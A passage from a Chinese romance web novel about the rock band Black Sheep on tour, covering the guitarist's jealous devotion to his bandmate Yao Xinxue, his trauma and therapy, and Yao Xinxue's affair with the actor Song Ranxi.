尧新雪浑身都湿透,雨珠滚落到他骨节分明的手指,最后滚落进琴键里,闪耀而梦幻的灯光照落,仿佛一切都在闪着光辉。 他的眼睛在笑,所有人都将视线落在了他的身上。 人人在那一刻知道——一个新的时代开始了,一个属于尧新雪的摇滚乐时代,一个属于黑羊乐队的时代,终于彻彻底底地拉开了帷幕。 第70章 黑羊的世界巡演从亚洲开始,为了节省成本,尧新雪干脆买了一辆巨大的房车,乐队成员和负责场地、音效的核心人员也住在一起。 尧新雪在决定之前原本有些犹豫,房车的条件虽然比不得以前的房子差,但是…… 薛仰春正因为能住房车一边尖叫一遍转圈,她放好皇后乐队的唱片,在牙叔有力而浑厚的Wearethechampion歌声里,一边高举着手像个兴奋的小孩一样大喊:“房车房车!房车房车!” 尧新橙一脸麻木,被她猛拍肩膀也一声不吭。 新的贝斯手罗槐则同样是个沉默寡言的人,他有一米九高,臂膀粗得能抡飞两个薛仰春,头发长得盖过脸——这也是个怪人,又是一个除了尧新雪的话谁都不听的犟种。 尧新雪抬眼看了下薛仰春,用笔在纸上划了一道标记,温声道:“小春不跟房车,机票车票酒店我报销,然后让小橙跟着你。” 激昂的音乐被薛仰春的一声惨叫打破,她仰天嗷了一声:“为什么不让我住房车,队长啊啊啊!!” 尧新橙也抬头看了尧新雪一眼,他眼底的失落和愤怒极其明显,张着嘴欲言又止,最后却又因为这是尧新雪的安排而不愿发表异议,于是转过头,闷闷不乐。 而薛仰春就不管了,她像个半大的、求父母允许晚归的少女,又是给尧新雪捶肩又是给尧新雪捶腿,软声软气地说:“不要嘛队长,我想要住房车,这是我的毕生梦想,要是住不上房车我鼓都打不动了。” “全是男生,不合适不方便。”尧新雪有些无奈,他显然是嫌薛仰春吵,于是捏了捏眉心,“小橙跟着你,我才能放心。” 薛仰春又仰天嗷了一声,一边玩着尧新雪的长发,一边假装乖巧而失望地说:“没关系的妈妈,我想跟你在一起,我不想掉队,如果我们分开,到时候我和尧新橙被拐去M国你想救我们都来不及。” 她开始假哭,双手抹过眼角,时不时地偷看尧新雪的神情。 尧新雪显然心情还不错,似笑非笑地看着她,最后拉开了她故意遮着眼睛的手,叹了口气:“不要乱说。” 最后他点了两下桌子,思考了几分钟之后无可奈何地做出应允:“好吧。” “耶!!!”薛仰春就这样欢呼着继续开了唱片。 尧新橙低头看着自己的手,也小小地提起了嘴角——这意味着,至少接下来的一年,他都能陪在尧新雪的身边。 在乐队正式启程之前,尧新雪又把行程、设备和其余大大小小的事都全部检查和确认了一遍, 等做完一切准备工作之后,他才回去。 也许是因为淋了雨,又或许是因为近日太忙,要计划的东西太多,有那么几秒,尧新雪感觉到晕眩。 直到黑暗里有一双冰冷的手伸出来握住了他的手腕,尧新雪才下意识地抬起头。 “哥哥,你发烧了。”尧新橙低声说,他用另一只手的手背贴向了尧新雪的额头。 烫。尧新橙在心里说。 尧新雪对他的忽然出现倒是不意外,只懒洋洋地说:“你还没回去。” “嗯。”尧新橙简短地应了。他没有告诉尧新雪,在过去、乃至更久远的过去,他都在暗处望着尧新雪,直到最后一盏灯熄灭。 尧新雪因为觉得生病发烧麻烦,又是极轻地叹气。 因为热,尧新橙看到尧新雪握住了自己贴在他额头上的手。 尧新橙的心砰、砰地跳着,安静地望着尧新雪引着自己的那只手从额头抚摸过眼角,最后落在滚烫的脸颊与颈上。 尧新雪的皮肤太白,太薄,却又异常地灼热。他很少生病,平时就是懒洋洋的样子,于是也没有谁能注意到。 尧新橙看着他如同捏着冰块一样捏着自己的手,像猫一样蹭着,流露着近乎依恋的神情,瞳孔一颤。 再次开口时,尧新橙的声音已经低哑:“哥哥,我背你。” “嗯?”尧新雪懒懒地勾着唇笑,他放松下来后,举止就肆无忌惮,随意地将手搭在尧新橙的肩上,然后将尧新橙压在墙上,低着头,用烧得绯红的侧脸去蹭尧新橙冰冷的颈。 尧新橙不得不半抱着他的腰,最后在手忙脚乱后,抱住了软趴趴的尧新雪。 “先别动。”尧新雪说。 于是尧新橙一动也不敢动,一声也不敢吭。 他以一个不会令人反感的力度拥抱着尧新雪,突然觉得鼻子很酸。 他那亲爱的哥哥,他的、在人前必须叫哥哥的尧新雪啊。 什么时候这样倚靠过他?什么时候会回头看到他哪怕只是一眼? 尧新橙安静地靠在墙上,直到尧新雪迷迷糊糊地说:“回去吧。” 尧新橙才有所动作。他的手臂发麻,却感到无上的幸福,乖巧地答应道:“好。” 尧新橙转过身小心翼翼地将尧新雪背起来,然后一步一步将他背到自己的宿舍。 他把尧新雪背到了自己的床上,然后给尧新雪脱了鞋。 尧新橙虽然结巴,脑子却不笨,宿舍里备有各种各样的药。他在乐队里年纪是最小的,却是生活常识最丰富的、最靠谱的那一个。 他熟练地拉出药箱,然后翻出测温枪,先给尧新雪测了体温——39°,有些高了。 尧新橙找出了退烧药,倒了温水。 他坐在床边,小心翼翼地将尧新雪的脑袋抱高一些,低声道:“哥哥,先,吃药。” “嗯,定九点的闹钟。”尧新雪就着他的手吃了那片药,喝过后叮嘱。 “记得。”尧新橙的手指小心地蹭过尧新雪唇边的水渍。 他小心翼翼地帮尧新雪换下湿透的衣服,然后又用热毛巾给尧新雪擦干净,忙前忙后一个小时,终于在床边坐了下来。 月光透过窗,落在了尧新雪的脸庞上。他睡得不好,漂亮的眉总是微微蹙着。 尧新橙就这样望着他,内心进入了久违的平静,此时此刻万籁俱寂,没有人能看到他眼底浓得化不开的爱慕与依恋。 没有人知道,没有人知道他这个“弟弟”其实对尧新雪抱有着怎样的心思,没有人知道——只有尧新雪知道。 就像一场未遂的凶杀案,只有被害者和凶手知道。 尧新橙定定地望着尧新雪,有那么几秒,仿佛被眼前人诱惑到了一般,慢慢地低下了头。 他就这样俯下了身,看着尧新雪的唇,不断地、不断地拉近距离。 他在今晚得到了梦寐以求的拥抱,得到了这几个月以来唯一能无比亲近尧新雪的机会,就这样嗅着近在咫尺的香根草气息,竟然变得有些贪得无厌起来。 也许是尧新雪对他过于温柔了,让尧新橙产生了他做什么都会被原谅的错觉。 尧新橙的目光变得痴迷而贪恋,就在即将触碰到尧新雪嘴唇的前一秒,他停住了。 因为尧新雪在感觉到他的呼吸靠近时,轻轻动了一下,伸出一只手,压住了他的颈,逼他低头,吻了一下——仿佛只是本能一般,带着亲昵的默契。 尧新橙的脸先是迅速地变红,心脏跳动之快仿佛要冲破胸膛,他有些呼吸急促,几乎不敢相信嘴唇的触感是真的——这是真的吗?这是真的吗?有那么几秒,他以为自己在做梦。 头顶的秒针嗒、嗒地走过,尧新橙浑身的血很快就都冷了下来,他狠狠地打了一个冷颤,眼神填满了痛苦,表情几近扭曲。 因为他听到尧新雪在吻过后轻声地念了一个名字——宋燃犀。 宋燃犀。宋燃犀。 又是宋燃犀! 尧新橙感觉到自己呼吸困难,他气得发疯,胸口强烈地起伏着,猛地转过头,太阳穴突突地跳着。 他攥着被单的手发出可怕的咔咔声,在这寂静的空间里,这个声音竟然这样明晰——宋燃犀?宋燃犀算什么东西,为什么,为什么尧新雪这么在意…… 尧新橙的眼睛通红,他侧过了头,又一次望向了床上的尧新雪,眼神顷刻间变得委屈。 他抬起手指缓缓地蹭过自己的嘴唇,最后终于冷静了下来。 仿佛什么都没发生过,尧新橙的表情恢复了平静。 但是他整夜都没有睡,如同过去一样,只要尧新雪睡在床上,他就不会睡上床。尧新橙只是如同雕像一样,安静地坐在床边,守着尧新雪。 他每隔一个小时就会给尧新雪测一次温,每个一个小时就会更换尧新雪额头上的冰毛巾。 在黎明到来时,尧新橙微微低下了头,昨天凌晨那个表情扭曲而痛苦、心底里充满了嫉妒和憎恨的尧新橙仿佛在那一刻也缩回了壳子里。 他又变成了尧新雪那安静而温顺的弟弟,而不是毫无血缘关系的人。 只是,尧新橙如同幼兽寻求着庇护一样,低下头去蹭了蹭尧新雪的手掌。 九点半,司机按动了喇叭,驱使着房车往前开去。 公路绵延至无穷尽的远方,薛仰春打开车窗,看着一路不断后退的风景兴奋地大叫着。 尧新橙则把脸裹在外套里,缩在沙发上睡着了。 尧新雪休息了一晚恢复了些许精神,看着蜷成一团的尧新橙,最后将自己的外套披在了他的身上。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 在一座城市结束一场演出之后,他们就要立刻连夜出发赶去另外一个城市。房车的好处就在于,他们可以在路上休息。 就连精力旺盛如小狗的薛仰春,在连续两个月周这样的高强度演出之后,都会自觉地爬回床上睡觉。 尧新雪将空调调高了一点之后,又给她掖了掖被子,然后才熄灯,回到车头的位置。 录音师、跟拍准备制作纪录片的摄影师以及音效师等几个大老粗都在沙发上倒得乱七八糟,嬉皮笑脸地一手捏着牌,一手握着一瓶啤酒。 他们压低了声音,氛围融洽,因为即将前往的下一个城市相隔得很远,他们明天不用工作,所以玩到通宵喝到烂醉也无所谓。 尧新橙裹着外套缩在角落里,不跟着玩,只闷声喝着自己的酒。他向来安静、孤僻,虽然年纪小,看着却有些凶,于是工作人员一般也不会招惹他。 尧新雪出来时看到的就是这一幕,尧新橙蜷在角落里,和所有人都格格不入。 尧新雪从旁边的箱子里拿出一瓶啤酒,熟练地倚着桌角开了瓶盖,动作熟练得让那些大老爷们都感到惊讶——他们没有想过尧新雪还会喝酒。 “怎么了?”尧新雪挑了下眉,对着瓶口喝了一口后坐到了尧新橙的身边。 “没事……没事。”一群人默默地摇了摇头,心虚地也喝了一杯酒。 尧新雪陪着这些人一块玩,尧新橙能看到他的牌,知道尧新雪在有意无意地让着那群人,打了五把,四把尧新雪都是输家。 “原来雪老师不擅长玩牌啊哈哈哈,是不是你故意给我们雪老师发烂牌?”音效师踢了一脚旁边的人,嘻嘻哈哈地给尧新雪找台阶下。 “是我技不如人。”尧新雪笑了下。 几个人累了一天,玩牌能赢得这么痛快,更是哈哈大笑,糟糕的情绪得到了好转。 尧新雪喝酒喝得痛快,而且说话漂亮,也就迅速地拉近了和他们的距离——他们见过太多的乐手或明星,以为尧新雪也会是高高在上,是山顶的一捧雪,却没想到他这么好脾气。 于是和尧新雪碰杯时说的祝词也多了几分真心:“祝黑羊世巡一切顺利。” 尧新雪笑了笑:“谢谢。” 等到人陆陆续续都走了之后,尧新雪才完全靠在了沙发的靠背上。 他学着尧新橙的样子,闷不吭声地喝酒,等到他喝第三口时,尧新橙才开口说:“哥哥,不要,喝了。” “我以为你不说话,是想和我玩喝酒比赛呢。”尧新雪侧了侧脸,望向他。 尧新橙早醉了,他感到胸口发闷,只定定地看了会尧新雪,然后说:“听不懂。” 他抢过尧新雪手里的啤酒瓶,猛地仰头一口把里面的酒全闷了,喝得浑身都是酒气,颈和脸全红了。 尧新雪看着他,没有忍住笑了。 “你怎么了?最近心情好差。”尧新雪歪了歪头耐心地问。 尧新橙的脑子先是嗡地一声,本能地联想到几天前眼前人在吻过自己后叫宋燃犀的那一幕,连手都僵住了。他暗暗地咬住牙,好让眼泪不至于这样不争气地落下来,只偏过了头不去看尧新雪:“没。” 尧新雪望着他绷紧的下颌,也没继续问,就这样站起来揉了揉他的脑袋。 他真是合格的队长,总是温柔又细心,照顾着这辆车上的所有人。 而一想到尧新雪其实对所有人都这样,一想到宋燃犀也许是那个最特别的,尧新橙心中的嫉妒和憎恨就几乎变得难以控制。 他一直控制着自己不去看尧新雪,握着酒瓶的手神经质地抖动着,尖锐的耳鸣仿佛在他的耳侧持续鸣叫着,有那么几分钟,尧新橙想要狠狠将头撞向旁边的柜子,好让他清醒一点。 该死的,该死的。别吵了!尧新橙心里狠狠地骂着,涎水不可控地从嘴角流出,某几秒,他的眼前闪过高大男人的黑影,身体先于大脑恐惧地颤抖起来。 尧新橙的症状越来越明显,他知道他越来越控制不住自己,越来越管不住自己了,那些疯狂的幻影,几乎让他一度在舞台上看不清任何人。 唯一值得庆幸的是,大量机械而重复的练习,已经能让他的双手只要抱着吉他,就能够按照本能不断地继续弹奏下去。多好啊,尧新橙心想,他终于把自己训练成了一台机器,直到身体彻彻底底、完完全全地报废,都能为尧新雪所用。 心理医生曾经告诉尧新橙,尧新橙的心里存在创伤,需要得到告解,否则迟早有一天,维持理智的那根弦会彻底崩断。 在心理医生的多次提醒之下,尧新橙终于答应了催眠的方法。 “你在害怕什么?” 带着这个问题,尧新橙闭上了眼睛。 他回到了慈济孤儿院。 孤儿院和记忆里的那座建筑没有任何区别,巨大却空荡、陈旧却爬满了爬山虎。 高而窄的小窗透着稀薄的日光,空气阴冷,蚂蚁排成一列爬过墙沿,饥肠辘辘的孩子们就蹲在旁边。 即使是在白天,这里也依然很暗。 尧新橙灰扑扑的衣服上印着大大的36,他的身上有着被其他孩子打后留下的淤青和伤口,左手的手指也有明显的擦伤,此刻正不安地捏着衣服的下摆。 “你昨天晚上在哪里?”男人低沉的声音响起。 “在,床上。”尧新橙低着头小声地回答。 “撒谎!你听到了对不对?我不是说过不准靠近我的办公室吗!”男人的声音忽然拔高,阴沉可怖的眼神仿佛要将尧新橙撕成两半。 尧新橙吓得肩膀一颤,脸色煞白:“不,不。” 心理医生看着睡在躺椅上的尧新橙猛地攥住了自己的脖子,双脚拼命挣扎着。 冷汗从尧新橙的额头滑落,他感到呼吸急促,双手却违背着生存本能不断地收紧,就在心理医生准备中止这次催眠时,尧新橙猛地转头,睁开眼睛看向了他,如同一头野兽。 心理医生因为这个可怖的眼神一瞬间僵了一下,然后晃了晃手指,向尧新橙确认:“你醒了?” 尧新橙的呼吸急促,他缓缓地、缓缓地松开了手,仿佛没有意识到自己刚才差点就要掐死自己,依然保持着那个别扭的姿势定定地望着心理医生。 心理医生被他看得头皮发麻,只听到他慢慢地说:“是,哥哥,救了我。” 当心理医生抬起头疑惑地望向他时,尧新橙已经恢复了平常的面无表情,然后又一次单方面地结束了治疗:“下次见。” …… 尧新橙从兜里拿出药瓶,拼命地倒着药片,他有些狂躁,因为一直倒不出,于是越来越用力,就在药片即将全部都要因为他粗鲁的动作全部掉出来时,尧新雪按住了他的手腕。 “想死?”尧新雪面无表情地看着他。 尧新橙没有想到他还在,酒精让大脑变得迟钝,半晌之后,才摇摇头。 “什么时候开始的?”尧新雪拿着药瓶,看了眼背后的说明。 尧新橙没有看他,只是低着头沉默——他知道尧新雪在问什么,不是什么时候开始吃药,而是问他什么时候起越来越病了。 尧新雪半只手按在他的额头上,逼他抬头望着自己,命令道:“说话。” “签约之后。”尧新橙低声回答道。 尧新雪松开了手,在灯光下,认真地将药瓶背后的字看了一遍,他蹲下身与尧新橙通红的双眼对视,手温柔地摸过尧新橙的侧脸。 尧新雪的眼神是这样充满了关心,然而说出来的话却让尧新橙感到潮水般无止尽的难过。 “小橙,你就这么离不开哥哥吗?”他轻声说。 黑羊乐队签约,让他们搬出了日夜只能相互依偎的出租屋。 尧新橙看着他那双温柔的眼睛,感觉到心脏像是被水泡胀,几乎压得他胸口沉闷:“嗯。” “来吃点东西,喝酒了就别吃药。”尧新雪看了他一会,最后只说,“把你心理医生的号码给我。” 尧新橙感觉到他落在自己脸上的手在抽离,那片皮肤只短暂地留有他的余温,很快,尧新橙就又开始自我怀疑这是否是自己的错觉——尧新雪其实没有摸自己的脸? 于是他露出了一个难看的笑,低声说:“好。” 他站起身,看着尧新雪拿着一双筷子,伸进旁边的一个小锅慢慢地搅拌着,终于后知后觉般闻到淡淡的烧焦的味道。 尧新橙望着尧新雪的背影,用左手按住自己不断发抖的右手。 薛仰春忽然披着床单“砰”一声拉开了隔间的门,大梦初醒般喊道:“快跑啊队长,着火了!” “没有哦,是我在煮夜宵,你要一起吃吗?”尧新雪笑眯眯地看着她。 薛仰春望着尧新雪面前那锅里的一坨,终于彻底清醒了,假笑道:“不了队长,您还是自己慢慢享用吧。” 她看着尧新雪背后的尧新橙,偷偷地竖了个大拇指,然后又摆了摆,意思是:你加油,你可以的,我撤了! 尧新橙的酒如今已经醒了一大半,他脸色复杂地看着飞奔着逃跑的薛仰春,最后犹豫了一下,松开了自己的手。 尧新雪煮的那坨面已经变得稀碎,已经从了大好面条变成了不明物体,筷子已经捞不上来了。 于是尧新橙只能就着锅吃,面不改色地品尝着这份来自尧新雪的关心,然后全部解决掉。 尧新雪坐在他的对面,看着他另外一只放在桌上的、依然在微微颤抖的手,将那只手牵了过来。 像那一晚一样,区别只在于此刻的尧新雪无比清醒。 尧新雪将自己的手指插进他的五指之间,让两人十指牢牢相扣,这样尧新橙的手就没有再颤抖。 尧新雪望着尧新橙微笑:“黑羊不需要新的吉他手。” 尧新橙怔愣在原地,眼眶一瞬间涌出眼泪。 他用另外一只手仓促地擦着泪水,最后应答道:“嗯。” 第72章 黑羊的第八场LIVE设在了H市,这场LIVE和之前的表演有所不同,部分歌曲改成了不插电的版本。 于是在演唱会的中场,听众们看到了场地中央,尧新雪坐在了钢琴旁,薛仰春则坐在箱鼓上,面前摆着几个镲片,尧新橙抱着一把木吉他坐在高脚凳上,罗槐也抱出了一把木贝斯,站在旁边。 背后白色的灯光旋转着打落下来,尧新雪穿着雪白的居家长袖和黑色牛仔裤。在寂静黑暗如夜幕的场馆里,他如同一轮月亮。 整个场馆都极暗,灯光仅仅照耀着舞台上的几位成员。当看到薛仰春坐在箱鼓上踮着脚,扬着笑偷偷比了个心时,乐迷们发出了善意的笑声。 然后,尧新雪按下了琴键。 这长达一分钟的钢琴独奏,让人的心不自觉地变得宁静,仿佛注视着一场大雪的降落,雪花落满了伞面。 两侧的大屏幕上只映着他落在钢琴键上的双手,这双手修长、骨节分明,落在琴键之间,重叠的乐音衔接得天衣无缝。 当最后一个音符落下,尧新雪靠近了麦,唱出了第一句歌词。 他清澈的声音回荡在偌大的场馆里,甚至没有任何伴奏,也依然能让人心头一震,不由自主地放轻了呼吸。 尧新雪拿着麦,当稳定的高音逐级增高时,所有乐器都在那一刻演奏了起来,所有的灯光也在那一刻一盏盏亮起。 轻快的鼓音、温柔的木吉他与低频的贝斯……乐器鸣响时,甚至能听到手指滑过琴弦、手拍在鼓面上的声音。 几束光弥散着落在舞台中央,让这里恍若废弃的教堂。 尧新雪站在光影里,露出了一个温柔的笑容。 间奏的中央是吉他的SOLO,镜头给到了尧新橙,他沉着冷静地垂着眼,让手指灵活地落在琴弦之上,木吉他的声音清脆灵动,他抬眼望去,就能看到尧新雪正目光一错不错地看着自己。 罗槐的贝斯垫得极稳,即使他的块头很大,贝斯线却编得极有爵士乐味道,有着一种独特的优雅。 黑羊乐队的每一个人在各自负责的乐器里技术性都极高,每一个人拎出来演奏一段SOLO都是听觉上无与伦比的享受。 尧新雪拿下麦,又一次随意地坐在了舞台前,晃着腿继续随意地唱了下去。 …… 演出结束之后,乐队的一行人也回到了休息室里。 尧新雪往沙发上一躺,然后整个人都陷进了沙发里,有些疲惫地将手背搭在了自己的双眼上。 尧新橙拿了瓶水给他,让他喝了点水缓缓。 尧新雪的嗓子有些疼,喝了口水才感觉稍微好点。 “队长,你还好吗?”薛仰春拉着尧新雪的袖子晃了晃。 “嗯。”尧新雪应了声,没动。 尧新橙看着他,也没说话,转头走了出去。 “你干嘛去!”薛仰春转头喊。 尧新雪摸了摸她的头,温柔地安抚道:“别喊,他去给我买药了。” “这几天我们会留在H市休整一下,你想去玩就去吧,我可以报销。”尧新雪说。 “好耶!”薛仰春开心得一蹦三尺高,但是很快又耷拉下脑袋,把尧新雪的手拉过来,“你真的没事吗?是不是嗓子难受,尧新橙会买药吗?要不还是我去吧。” “没事,去玩吧别担心,小橙知道的。”尧新雪说,“你自己注意安全,遮严实点,我怕你被人拦。” “知道啦,那我走了,你先休息会。”薛仰春欢呼着跑了出去。 尧新雪听着她嗒嗒嗒嗒的脚步声,无奈地笑了笑,然后拿出了在兜里震动的手机。 他也没看是谁,直接就按了接听:“什么事?” “下楼,带你去逛街。”宋燃犀清了清嗓子说。 “累。”尧新雪简短答道。 “那就带你回酒店睡觉。”宋燃犀啧了声。 “没空。”尧新雪的声音依旧是懒洋洋的。 “我刚看到你们乐队的小狗妹开着机车哼着歌飞出去!你们不是唱完了吗!”宋燃犀拔高了声音,像是在控诉。 “好好好,别吵了。”尧新雪按了挂断键。 他戴上一把墨镜,随意划了下手机,编辑了一下工作的信息后就走出了休息室。 他没注意到的是,尧新橙此刻就站在他身后的不远处,拎着一大堆润喉咙的药,走向这里。 望着尧新雪离开的背影,尧新橙站在了原地。 他捏着药袋的手缓慢地收紧,最后又从里面抽出了一个喷雾,他先是低头,不知道在想什么,然后看到尧新雪即将走到走廊的尽头,终于忍不住似的追了上去。 尧新雪听到脚步声,转过头笑眯眯地看着尧新橙。 尧新橙把喷雾递了过去,最后说:“哥哥,用,这个。” “好,谢谢,辛苦了。”尧新雪接了过来,放进了兜里,他稍微侧头瞥了眼尧新橙手里的袋子,于是笑了一下,走上两步,用另外那只空着的手抱了一下尧新橙。 “这些放我房间吧,你也早点回去休息,今天累了。”尧新雪轻声说。 “好。”尧新橙答道。 尧新雪转头走了,尧新橙看着他按了负一层的电梯——可是尧新雪并没有开车来。 宋燃犀早停在了车库里,直到看着尧新雪走下来,才降下车窗。 “怎么磨蹭这么久。”他半真半假地抱怨。 尧新雪看了他一眼,眼前人已经因为在片场多日的风吹日晒晒了一层,和生日宴那时的白净已经是两副样子,握着方向盘的手背上留了一条极长的疤,听说是在演戏时不小心弄的。 尧新雪点了一支烟,随手把喷雾放在他车上,然后坐上副驾,随意地说:“催我我就下车了。”他缓缓吐出一口烟,目光停留在那道疤上没有移开。 “哎哎哎,没谁催你。”宋燃犀哼了声。 他敏锐地注意到了尧新雪的视线,忍不住邪里邪气地一笑,朗声道:“怎么了?在看这个吗?你心疼了?” 宋燃犀凑近,将那只手递到尧新雪的面前,半身压过来,像是非要尧新雪说心疼了不可。 尧新雪一手夹着烟,一边作势要将烟灰抖落在他的掌心,笑着说:“不心疼,嫌丢人。” 宋燃犀本能地一缩手,但是下一秒又压上来吻尧新雪。 他的伤口早就已经不痛了,但是那道疤痕蹭过尧新雪的脸时,尧新雪依然能感觉到细微异样的触感。 “想你。”宋燃犀压着他亲了半天后才慢慢拉开了距离。 逼段以宿下台后,宋燃犀的事业同样到了顶峰。他如今手握两家大企业,掌握了半个娱乐圈的资源与成倍的财富,接到的通告比过去三年都要多,私人邮箱更是被塞爆了。 黑羊世巡开始有多忙,他就有多忙。 尧新雪想要从段以宿的手里拿回黑羊的版权顺便踹段以宿下台,于是决定和段以宿联手。 但说好听点是联手,说难听点是利用。 这对宋燃犀是一场豪赌,宋燃犀为此赌上了自己的全部身家,甚至赌上了宋氏集团过去积累的人脉、资源和名声。赢了,他什么都有;输了,他倾家荡产——在这盘棋里,无论如何,尧新雪都能全身而退,毫无损失,他却要面临着巨大的风险。 可就像当初在出租屋里他第一次和尧新雪亲密无间时说的那样——尧新雪利用他离开贺忆舟,他是知道的。他为尧新雪做的一切都是因为他自己心甘情愿。宋燃犀甚至在心里隐隐觉得,为尧新雪做什么,应该是一种荣耀。 尧新雪不爱他,不求他,只是在他的脖子上套了一条项链。可尧新雪甚至不需要拽,他就会自己跟着往前走。 他在这场赌局里什么都不求,只求尧新雪能远离段以宿。然后,他就赌赢了,随之而来的是无数的机遇和钞票。 尧新雪。尧新雪。 宋燃犀摸过他的脸,然后留下一个又一个吻。直到尧新雪真的将烟灰轻轻地抖落到他的手指上,他才吃痛地拉开一些距离。 他看着尧新雪眼底毫不掩饰的恶作剧得逞的笑意,忍不住啧了声。 逛街倒是没有逛街,两个人都忙了大半天,宋燃犀直接开车去找吃的。 尧新雪长得高挑又漂亮,蓝灰色的长发又显眼至极,为了躲尧新雪的粉丝,宋燃犀费尽心机,开着车转了大半天,才终于找到了一家私人餐厅。 吃过了饭,他们就躲进了酒店里睡觉,直到睡到凌晨一点,又准备起来去觅食。 两人的穿着都很简单,这个时间点也已经没有什么人,于是都很放松,懒懒散散地沿着江边走。 尧新雪从小摊那里拿了一个巨大的棉花糖,宋燃犀则拿了一根冰棒。夜幕低垂,白日里粼粼的江水已经暗得几乎看不见,只有偶尔的潮水打上岸的声音能证明着围栏的存在有所必要。对岸的一切建筑仿佛被无形隔得很远,两人一前一后的走着,风吹起尧新雪的长发,像吹起了无数雪。 宋燃犀正望着他的背影出神,下一秒,他就被一只手猛地拽住。 他吓得回过头,只看到了一个老奶奶正伸着枯瘦的手,炯炯有神地望着自己。 “小子,你最近……会有血光之灾啊!你完了!你完了!”她的声音沙哑。 凌晨一点,老奶奶,血光之灾。 在宋燃犀眼里,这个老奶奶从凌晨还在外面乱晃的老奶奶摇身一变成为了恐怖神婆。 他还想继续问是为什么,老奶奶却在看到尧新雪平静的面容后吓得后退了两步:“他,他!” 宋燃犀的心突突地跳,本能地挡在尧新雪跟前,看着她皱了一下眉:“她好像精神不太正常?” “送她去派出所吧。”尧新雪舔了下棉花糖,眨眨眼,镇定自若道。 第73章 把老奶奶送到派出所之后,两人就晃回了酒店。 宋燃犀对“血光之灾”这个说法倒是不以为意,他从小到大就多灾多难。 此刻拿出手机,看到妈妈应怜发来的消息,他才想起来自己最近忙忘了,又没吃药。 宋燃犀遗传了父亲宋洲的心脏病,天生心脏畸形,小时候甚至跑快两步,就会变得脸色苍白,感到呼吸不畅。 六岁一次大病后,身体倒是好了很多。 宋燃犀对童年的记忆并不清晰,只记得那会应怜天天以泪洗脸,宋洲沉着脸也始终保持着沉默。这也是后来向来宠爱儿子的应怜都不赞成他去演戏的原因,生怕哪一次片场事故,死神就真的把镰刀砍向了他。 随着越长越大,宋燃犀的身体已经好了不少,应怜和宋洲既希望他能成才,又不敢让他真的离开自己的视线范围,最后还是宋燃犀倔脾气,加上有拿得出来的成就,两个中年人才稍微放心了一点。 因此这次手留疤,宋燃犀也没打算跟他们说,必定少不了一顿唠叨。有心人本想借这个给他买点热搜营销一下努力敬业人设,全部被宋燃犀捏着鼻子一一拒绝了。 他很低调,不爱出风头,当演员不是为了做明星,只是纯粹地喜欢演戏,想要演戏。 宋燃犀野心不小,和尧新雪一样,渴望站在最高的地方,这是他们相像的地方。如果有一天宋燃犀放弃了演戏,那么他对于尧新雪来说就一定不会是“特别”的了。 宋燃犀吃了药,然后拍下了照片发给应怜,好让应怜放心,忽然就想起了生日宴那天尧新雪的离开。 说好了是奖励,结果临到头来又跑了。 说不失望是假的,众星捧月的宋少就许了这么一个微不足道的愿望,可就是没有实现。 宋燃犀听着身后不疾不徐的脚步声,不动声色地将药瓶收了起来,手往旁边一扒拉,扒拉出一袋治喉咙的药。 尧新雪的脑袋上还搭着毛巾,看到他晃晃手里的袋子,这一幕多似曾相识。 尧新雪从袋子里翻出一个喷雾,然后张开嘴对着自己喷了下。 这些药是宋燃犀打算见尧新雪时早早买好的,当他在车上看见尧新雪随手放的那瓶新的喷雾,就知道早早有人捷足先登。 爱尧新雪的、把尧新雪放在心上的人太多了,他算什么? 尧新雪又是个对谁仿佛都能称上一二两爱,其实谁也没在乎过的人,随手给出的应允大概比花出去的钱还要多——他就是这么狡猾,又令人迷恋,因为知道所有人对他的爱是不可动摇的,所以怎么践踏都无所谓。 宋燃犀的眼睛眨了眨,不着痕迹地叹了口气。 “黑羊的行程安排得太密了吧,你嗓子受得住吗?叫小言跟车来照顾你行不行?”宋燃犀难得看他主动服药,看来是嗓子真的疼得难受。 从这方面看,尧新雪又是一个极度善于忍耐的人。乐队的利益、懒惰依次占他生命中的前两位,如果他认为身体状况不会影响到乐队活动的进行,那么嗓子的问题可能就更懒得管了。 宋燃犀倒了杯温水,递给他,尧新雪也乖顺地喝了。 尧新雪浑身都是懒骨头,又想这样就着湿了的头发倒回床上,被宋燃犀一把拉住。 “小言?不需要。”尧新雪的声音散漫,冷淡的样子让宋燃犀怀疑他其实已经不记得小言是谁了。 “那就自己照顾好自己。”宋燃犀把他拉回来,让他坐上自己旁边那把椅子,从旁边的抽屉里拿出了吹风机。 他把风调成暖风,一手拿着梳子慢慢地梳过尧新雪的长发,他梳得很慢,手法很熟练,知道怎么不会烫到尧新雪。 过了好久,宋燃犀才把尧新雪的头发吹干。 宋燃犀慢慢问:“我生日那天你去哪了?” 你好像不想见我的父母?宋燃犀垂着眼没说。 “有点事要处理。”尧新雪心不在焉道。 宋燃犀闷闷地哦了声,也没说什么。 他手指间的长发滑落,下一秒,尧新雪就转过身跪坐在椅子上,一手搭着椅背看着他。 尧新雪微微仰起颈,像一只好奇的猫,又像一条亟待吞食猎物的蛇,他凑近过去,眼睛微微眯起:“你很失望?” 这个角度,宋燃犀能看见尧新雪那蓝色的长发几乎能长得垂落到自己的小腿,而近在咫尺的香根草气息,有几秒甚至令他感到晕眩。 宋燃犀哑口无言。 尧新雪靠近了一些,伸出手拨弄宋燃犀胸前的项链。 长发滑落过他雪白的手臂,最后他微微抬头,亲了一下宋燃犀的嘴唇。 尧新雪又靠近了一点,他百无聊赖似的,一只手摸过宋燃犀的下颌,慢慢沿着他的颈部滑落。 宋燃犀感觉到他温凉的手指缓慢地摸过自己的皮肤,最后停在了心口的位置。 宋燃犀感觉到自己那颗曾被医生断言天生畸形活不过五年的心脏,此刻依然在扑通、扑通地跳着,因为眼前这个人像玩着玩具一样,随意地摸过自己,却不想着会引起什么样的后果。 尧新雪的手指慢条斯理地一颗一颗解开他的扣子,就在宋燃犀准备有所动作前,他的手指轻轻一勾,灵巧地从宋燃犀的裤兜里抽出了那个药瓶。 宋燃犀的身体一僵,本能地伸出手想要抢回来,却被尧新雪躲开了。 “你心脏有问题?”尧新雪对着光,随意地瞥了几眼药瓶上的名字。 “一点小毛病。”宋燃犀含糊地回答。 尧新雪还想继续看药瓶背后的小字,就被宋燃犀一把攥住了手腕。 “坏狐狸。”宋燃犀被气笑了,然后从他的手里直接抢了回来。 宋燃犀随手把药瓶放在了旁边,双手捧着尧新雪的脸吻了上去,他们蹭到了彼此的鼻尖,呼吸交缠。 